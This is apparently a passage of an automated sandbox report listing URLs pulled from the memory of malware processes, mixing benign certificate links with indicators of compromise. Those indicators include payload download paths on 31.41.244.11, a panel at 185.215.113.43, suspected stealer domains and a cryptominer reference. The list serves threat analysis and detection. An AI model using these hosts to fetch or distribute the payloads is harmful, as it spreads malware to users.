http://c.pki.goog/we1/19WWHKnVoyI.crl0	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008B3000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false		high
https://treehoneyi.click/0	ANEDNjf.exe, 0000000D.00000003.3013477389.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015246344.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aspecteirs.lat/apip	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpxe	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft.#6KOp	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072818160.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3166299670.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/U	d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000008.00000002.2718542156.0000000004C41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2721573085.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i.pki.goog/r4.crt0	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965308553.0000000003B01000.00000004.00000800.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i.pki.goog/we1.crt03	d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000132B000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	kf5cl0F.exe, 00000006.00000002.2859972775.00000000029D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2718542156.0000000004C41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005091000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/5856379169/kf5cl0F.exeswsock.dllE	skotes.exe, 00000005.00000002.3352179189.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/m	d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/5856379169/kf5cl0F.exe	skotes.exe, 00000005.00000002.3352179189.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3352179189.000000000121E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2754644039.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.2718542156.0000000004D95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005257000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2754644039.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i.pki.goog/we1.crt0	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3033029849.00000000008B3000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aspecteirs.lat/y5	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905728605.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2905972651.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpxe1	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://c.pki.goog/r/gsr1.crl0	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965308553.0000000003B01000.00000004.00000800.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3256965935.0000000001312000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253729974.0000000001312000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aspecteirs.lat/apicked	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032133957.000000000091C000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032855486.000000000091D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nsis.sf.net/NSIS_ErrorError	Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp, Dh5yvWY.exe, 0000002B.00000000.3072639025.000000000040A000.00000008.00000001.01000000.00000014.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpxe:	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2999356212.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2754644039.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/M	d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://treehoneyi.click/	ANEDNjf.exe, ANEDNjf.exe, 0000000D.00000003.2935491056.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2936171455.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2905496020.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882513604.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2932088789.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906148174.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906361055.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013477389.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882027603.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930532874.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013089460.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015246344.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956712904.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882088587.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2882667699.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2883162086.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930252937.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2975865332.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2881830607.00000000053D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	kf5cl0F.exe, 00000006.00000002.2859972775.0000000002AA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i.pki.goog/gsr1.crt0-	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965308553.0000000003B01000.00000004.00000800.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3256965935.0000000001312000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253729974.0000000001312000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.2718542156.0000000004D95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2754644039.0000000005257000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exev	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com	kf5cl0F.exe, 00000006.00000002.2859972775.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0?	Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
https://treehoneyi.click/apiZ	ANEDNjf.exe, 0000000D.00000003.2905496020.00000000053DB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/151334531/Dh5yvWY.exed	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpxeR	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	ANEDNjf.exe, 0000000D.00000003.2930667070.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956903146.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.enigmaprotector.com/	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	false	Avira URL Cloud: safe	unknown
https://treehoneyi.click/J	ANEDNjf.exe, 0000000D.00000003.2935491056.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2936171455.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2905496020.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2932088789.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2905610990.00000000053F0000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930532874.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2906148174.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2956712904.00000000053F7000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2930252937.00000000053F7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/martin/random.exe76T	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://treehoneyi.click/Q	ANEDNjf.exe, 0000000D.00000003.3013226393.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015374228.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/martin/random.exef	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aspecteirs.lat/9	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072433069.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032133957.000000000091C000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032855486.000000000091D000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167045528.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157638003.0000000000921000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/151334531/Dh5yvWY.exeU	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp, Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	false		high
https://github.com	kf5cl0F.exe, 00000006.00000002.2859972775.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe760ac02b4ded8abeee1fbc67e805545b	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/martin/random.exeZ	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/martin/random.exe760ac02b4ded8abeee1fbc	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://o.pki.goog/s/we1/NyI0%	d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000132B000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.enigmaprotector.com/openU	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3167457558.0000000000FD2000.00000040.00000001.01000000.0000000E.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	false		high
